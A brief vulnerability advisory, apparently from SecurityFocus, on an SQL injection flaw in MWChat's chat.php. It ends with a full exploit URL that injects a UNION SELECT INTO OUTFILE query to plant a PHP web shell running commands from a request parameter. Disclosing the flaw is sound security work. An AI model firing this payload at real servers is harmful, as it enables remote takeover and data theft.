source: https://www.securityfocus.com/bid/15198/info

MWChat is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova